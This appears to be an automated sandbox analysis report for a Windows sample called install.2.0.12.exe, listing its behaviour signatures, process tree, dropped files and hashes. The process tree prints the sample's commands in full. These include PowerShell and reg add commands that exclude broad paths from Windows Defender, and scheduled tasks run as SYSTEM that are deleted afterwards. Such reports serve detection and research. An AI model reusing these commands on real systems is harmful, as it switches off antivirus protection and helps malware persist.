Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/10/2026, 06:50

General

  • Target
    install.2.0.12.exe
  • Size 38.9MB
  • Sample261023-hlwxesat21
  • SHA256 2622767b2ed52da8509bb1a1cef676ab563c6090a60e2faa63b466c1895746aa
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.12.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.12.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:988
  • C:\Users\Public\QiqJyj\9ycGfC.exe
    "C:\Users\Public\QiqJyj\9ycGfC.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1940
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:3876
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\QiqJyj\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3160
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\QiqJyj\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1476
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3908
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:6116
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3092
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2952
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2168
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4160
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:5796
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2400
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2108
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3156
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:1664
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3576
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3460
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2364
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4716
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4048
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4352
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3324
                        • C:\Program Files (x86)\LOdSPM\LOdSPM.exe
                          "C:\Program Files (x86)\LOdSPM\LOdSPM.exe"
                          2⤵
                            PID:3360
                        • C:\Users\Public\QiqJyj\9ycGfC.exe
                          "C:\Users\Public\QiqJyj\9ycGfC.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4956
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\QiqJyj" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:424
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\QiqJyj" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4240
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:4304
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4864
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2016
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5980
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4868
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4336
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:1700

                          Network

                                MITRE ATT&CK Enterprise v16

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                                Downloads

                                LOdSPM.exe

                                • Path C:\Program Files (x86)\LOdSPM\LOdSPM.exe
                                • Size 145KB
                                • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                XPSPLOG.dll

                                • Path C:\Program Files (x86)\LOdSPM\XPSPLOG.dll
                                • Size 4.6MB
                                • SHA256 026ae3466f5f3935f217cf0a7cefccc2da16dee269f5530fa74973638bc236fc
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                image.png

                                • Path C:\Program Files (x86)\LOdSPM\image.png
                                • Size 4.8MB
                                • SHA256 4ebfe79f30637ed6d5ca77c92e6c0e3587604380d43767e6fc48e582ae17c35e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 1KB
                                • SHA256 ed5d3bdfeecc253a57a2d033167d8ae69583f27884b1599dd3d7f6ed9afc4fc9
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 1KB
                                • SHA256 c71f96581f2c4acc9d067c4961c5459561f20e0816dc5bc5ad96309e16538e91
                                • MD5 SHA1 SHA512 TLSH

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 512B
                                • SHA256 9d6c5d2c299981a75a85553fd468a3410ae079f3715b33f2f9081129c13ffa89
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 506B
                                • SHA256 282d045d290cd4e18a90f2f5b9657eb1a32c824135db9a6a652348d288305819
                                • MD5 SHA1 SHA512 TLSH

                                __PSScriptPolicyTest_4phvzjgr.so1.ps1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4phvzjgr.so1.ps1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512 TLSH

                                9ycGfC.exe

                                • Path C:\Users\Public\QiqJyj\9ycGfC.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\QiqJyj\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 1c59b89b0a83d521f7bd7fa29111a12356a4cb8078c63d4ac5bbf5c76b62e9ec
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\QiqJyj\adoresd.dat
                                • Size 4.8MB
                                • SHA256 1f4bb1cc264994a67fb1fa295fef08a0db8c2e2e26861dd366754ff54cce69d6
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\QiqJyj\msadox.tb
                                • Size 8KB
                                • SHA256 1b28a6ccab7421df4d75139995591ae5b16b6f763b3a370413bce8d7a965d52f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/988-525-0x00007FFFDDC90000-0x00007FFFDDCA2000-memory.dmp

                                memory/988-524-0x0000000000400000-0x000000000040E000-memory.dmp

                                memory/988-504-0x00007FFFDDC90000-0x00007FFFDDCA2000-memory.dmp

                                memory/988-2-0x0000000002010000-0x000000000201C000-memory.dmp

                                memory/988-1-0x0000000000400000-0x000000000040E000-memory.dmp

                                memory/988-0-0x0000000000400000-0x000000000040E000-memory.dmp

                                memory/1940-559-0x00000210679D0000-0x0000021067A5A000-memory.dmp

                                memory/1940-564-0x0000021066B80000-0x0000021067457000-memory.dmp

                                memory/1940-550-0x0000021066B80000-0x0000021067457000-memory.dmp

                                memory/1940-556-0x0000021066B80000-0x0000021067457000-memory.dmp

                                memory/1940-562-0x00000210679D0000-0x0000021067A5A000-memory.dmp

                                memory/1940-561-0x00000210679D0000-0x0000021067A5A000-memory.dmp

                                memory/1940-560-0x00000210679D0000-0x0000021067A5A000-memory.dmp

                                memory/1940-558-0x00000210678F0000-0x000002106793E000-memory.dmp

                                memory/1940-544-0x0000021066B80000-0x0000021067457000-memory.dmp

                                memory/1940-531-0x00007FFFC8550000-0x00007FFFC8A6E000-memory.dmp

                                memory/1940-566-0x0000021066B80000-0x0000021067457000-memory.dmp

                                memory/1940-538-0x00007FFFEAAE0000-0x00007FFFEAAE2000-memory.dmp

                                memory/1940-545-0x0000021066B80000-0x0000021067457000-memory.dmp

                                memory/1940-543-0x0000021066B80000-0x0000021067457000-memory.dmp

                                memory/1940-539-0x0000021066B80000-0x0000021067457000-memory.dmp

                                memory/1940-530-0x00007FFFEAAD0000-0x00007FFFEAAD2000-memory.dmp

                                memory/1940-546-0x0000021066B80000-0x0000021067457000-memory.dmp

                                memory/1940-536-0x0000021066B80000-0x0000021067457000-memory.dmp

                                memory/3360-687-0x0000000003940000-0x000000000411D000-memory.dmp

                                memory/3360-682-0x0000000002DB0000-0x0000000002DB1000-memory.dmp

                                memory/3360-683-0x0000000075050000-0x000000007579A000-memory.dmp

                                memory/3876-611-0x000001D16F9B0000-0x000001D16F9CE000-memory.dmp

                                memory/3876-603-0x000001D16F920000-0x000001D16F942000-memory.dmp

                                memory/3876-612-0x000001D16F9D0000-0x000001D16FA82000-memory.dmp

                                memory/3876-614-0x000001D16FA90000-0x000001D16FA9A000-memory.dmp

                                memory/4956-587-0x000001D275C20000-0x000001D2764F7000-memory.dmp

                                memory/4956-588-0x000001D275C20000-0x000001D2764F7000-memory.dmp

                                memory/4956-589-0x000001D275C20000-0x000001D2764F7000-memory.dmp

                                memory/4956-590-0x000001D275C20000-0x000001D2764F7000-memory.dmp

                                memory/4956-591-0x00007FFFEAAD0000-0x00007FFFEAAD2000-memory.dmp

                                memory/4956-583-0x000001D275C20000-0x000001D2764F7000-memory.dmp

                                memory/4956-582-0x00007FFFEAAE0000-0x00007FFFEAAE2000-memory.dmp

                                memory/4956-575-0x000001D275C20000-0x000001D2764F7000-memory.dmp

                                memory/4956-572-0x00007FFFC8550000-0x00007FFFC8A6E000-memory.dmp